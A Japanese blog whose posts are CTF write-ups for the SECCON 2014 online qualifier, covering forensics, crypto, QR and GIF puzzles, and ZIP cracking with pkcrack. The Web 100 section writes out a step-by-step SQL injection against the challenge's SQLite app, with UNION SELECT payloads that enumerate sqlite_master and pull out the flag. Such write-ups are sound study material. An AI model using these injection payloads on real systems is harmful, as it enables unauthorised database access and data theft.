読者です 読者をやめる 読者になる 読者になる

せきゅはら。

正直若いとはいえないネットワークセキュリティ担当者がゆるゆると書いていく駄文です:)

SECCON 2014 オンライン予選(日本語) その2

CTF

さて、SECCON 2014 オンライン予選のネタの続き。
「自分で解いてない問題」「自分でチャレンジしたけど解けなかった問題」について。

o自分で解いてない問題

 ・100(練習問題)
   なるべく早い時刻にやっつけることに意味がありまして。

 ・ネットワーク 100(このパケットを解析せよ)
   若手のみでサクッと解いてしまっていました。
   ftp通信の TCP Stream を抜き出し、パッシブポートを特定(54673)して、
   再抽出したデータ列をdecodeしたらFLAG出現(だそうで
   base64の部分はちょこっと口にしたけど、大勢に影響はなかったかと。

 ・Unknown 100(詰将棋?)
   若手二人で打ってて、そのうち解いてしまいました。スゲェ
   13手って時点でかなり無理筋だと捉えてるんだけど……

o自分でチャレンジしたけど解けなかった問題

 ・暗号 300(Decrypt it!)
   "flag.zip"と"crypt.zip"からpkcrackを使ったdecryptをかけようと試みる。
   まずは残ってたメンバ全員のメインマシンがWindows(x64)でがっくり。
   (pkcrackは16bitアプリなのでWow64でも動かない)
   次にWindows8.1Updateが乗ってるIdeaPadS10eで……今後は古すぎてメモリ不足。
   それならと、pkcrackのソース一式をメインマシン上のCentOS6.4(x64)に展開し、
   強制的にmake→不足するlibを片っ端からyumで追加したけど処理が異常終了。
   ↓
   終了後、kusano_k氏ののwriteupを見て振り返り。
    誤)pkcrack -C .\flag.zip -c crack -p crack -d readme.txt
    正)pkcrack -c crypt -p crypt -C flag.zip -P crypt.zip
   ……無理やりmakeしたpkcrackでも処理成功しちゃったよw
   ※x64でも動くもんだなと
   そこから先の解き方は、まだ漏れレベルではついていけてません。
   ※漏れはガチ勢レベルには達していないですよ

 ・Unknown 300(Print it!)
   先頭80byteが怪しかったものの、ファイル中に繰り返し出現する「EdE」を
   ググって、PS(PostScript)だろうと断定した結果、そちらに邁進。反省。
   まぁ、ヘッダ長を元にググれてもそこから進めなかった可能性は高いけど。

 ・バイナリ 100(x86アセンブラを読もう)
 ・バイナリ 300(ダンプを追え!)
   バイナリはやはり解ける気がしない(汗
   スカウトするしかないか:-P

 ・フォレンジック 300(捏造された契約書を暴け)    ddファイルをマウントするまでもなく7-Zipで閲覧・取り出しができた
   まではよかったけど。
   各ファイルのcreate/updateをブルートフォースしたが無駄。
   docxを分解しても手がかりなし。
   さらにはddファイル内のmftから更新履歴情報を抜き出してもらって、
   そこからもブルートフォース。でもダメ。
   ↓
   「Exifに情報がある」をもとに再度おさらい。
   [DELETED]内のdocxを分解し、印影ファイルを010Editorで見ると確かにExif
   情報が。1/1時点で存在しない画像ファイルが使われてるのは矛盾しますね。
   TiffだからExifは持ってないよね、から画像ファイル内に疑いを持たなかった
   のは誤算。うーん……

 ・Web 300(箱庭XSSリターンズ)
   Lv.1が緩くて、Lv.2で空白文字まで潰された時点でがんじがらめ。
   ループ系の解答は凄杉ですな。

o番外

 ・プログラミング 300(あみだくじ)
   手を付けてさえいない問題。(実はこれだけ)
   よそのwriteupを見て……やはりムリだ。

 ・ネットワーク 300(ソーシャルハック?)
   「天安門事件」にとらわれすぎでした。アレはネタだったのかwww
   そういえば前にも自前Webサーバを仕掛けて罠をはる問題ありましたね。

まー、当日に慌てないようにしないといけないですね。
バイナリがムリならフォレンジックやネットワークで稼げるようにするしか。

CSAWで会いましょうw

SECCON 2014 オンライン予選(日本語)

CTF

7/19、頑張りました。
700点獲得で本戦行き切符には届かなかったですが、人権は確保できたのかな、と。

o自分が関わって解けた問題

 ・フォレンジック 100(879,394bytes)
   SECCON 2013 九州予選の時にも似たような問題が出ましたね。
   んで、Windows系のFAT16/32だろうと推定。
   最初は010EditorでTemplate適用してまともに解こうかと思ったけど、
   ファイル名エントリらしきものを抜き出して、あとはブルートフォースアタックを。
   > Chrysanthemum.jpg
   →んで正解。

 ・暗号 100(decode me)
   まずは英字部分がROT-13されていることはすぐに発見。
   若手メンバがググるさんを駆使して、nfkコマンドのrot13/47で2バイト文字もROTされる
   2chスレにたどり着いたんで、手元のCentOS6VMで"nkf -r"実行。
   > フラグは半角英数文字に変換してから入力してください。
   > FLAG{Have fun SECCON2014}
   →んで正解。

 ・Web 100(箱庭SQLiチャレンジ)
   インジェクションの基本としてあれこれ。
   「+4」でもちゃんと4として処理するし、「"」でもエラーはでない。
   まー、union selectで解くんだろうねと思ったが、DBMSの種類がわからないことには。
   一式に入ってたDB.dllに着目し、stringsで文字列抽出すると以下の文字列ががが。
    > sqlite_compileoption_get
    > sqlite_compileoption_used
    > sqlite_log
    > sqlite_source_id
    > sqlite_version
   SQLiteだ!
   あとは、テーブル管理用のテーブル→該当テーブル→カラム名の順番に攻めていく。
   「' union select 1,"b",3,"d",5 from sqlite_master;--」
    →「ID=1 NAME=b AGE=3 ADDRESS=d SALARY=5」
   「' union select 1,tbl_name,3,"d",5 from sqlite_master where type='table';--」
    →「ID=1 NAME=COMPANY AGE=3 ADDRESS=d SALARY=5 ID=1 NAME=SECCON AGE=3 ADDRESS=d SALARY=5」
   「' union select 1,sql,3,"d",5 from sqlite_master where type='table' and tbl_name='SECCON';--」
    →「ID=1 NAME=CREATE TABLE SECCON(FLAG TEXT NOT NULL) AGE=3 ADDRESS=d SALARY=5」
   「' union select 1,FLAG,3,"d",5 from SECCON;--」
    →「ID=1 NAME=FLAG{EnjoySQLi} AGE=3 ADDRESS=d SALARY=5」    正解。

 ・プログラミング 100(重ねてみよう)
   『アニメーションGIFを見たらバラセ』
   akictf#8ではバラした画像を縦につなぎ合わせましたが、今回はタイトルの通り重ね合わせで。
   # Superpositionってやつですne
   全部で49フレーム、どう進むにしてもGIFをフレーム分解する必要があるってことで、Webサービスにかけて分解する。
   で、初めは「GIF→ICONにして136x136のビット列にしてOR取れば」とも思ったんだけど、枚数が少ないこともあり、
   PGM書くより、全部白黒反転させてレイヤー化しちゃえばいいじゃんってことでコツコツ手作業します。
  具体的には、
   a. 1枚gimpで開く
   b. 明度反転
   c. レイヤー機能でアルファチャンネルを追加
   d. 色域を選択する機能で白い部分を選択
   e. 切り取り    f. 別名保存(ここまで30秒程度、49回繰り返し)
   g. 最初の1枚をgimpで開く
   h. 残り48枚をg.にドラッグする→49枚のレイヤーを持った画像になる
   i. 全レイヤーを統合
   j. 別名保存
  ときて、最後にスマホQRコードを読んでおしまい。
  FLAG{Many dot makes a QR code}で正解。

長くなったので、「自分で解いてない問題」「自分でチャレンジしたけど解けなかった問題」は別エントリーで。

約7年ぶりのはてな復帰。

最近CTFなるものにハマり始めた関係で、物書きが出来る場を久々に準備しないとなーってことで、はてなブログの形で復活です。

 

ということで、まじめな記事をはてブロで、不まじめな記事をはてダイで(こっちは余裕があれば再開って感じですが)、書いていこうかな、と。

#自宅鯖のWebコンテンツは闇に葬り去ってしまおう

 

まずはwriteup中心に、はてな記法を思い出しながら、書いていこうかと思われ。

f:id:zasha:20140721003639j:plain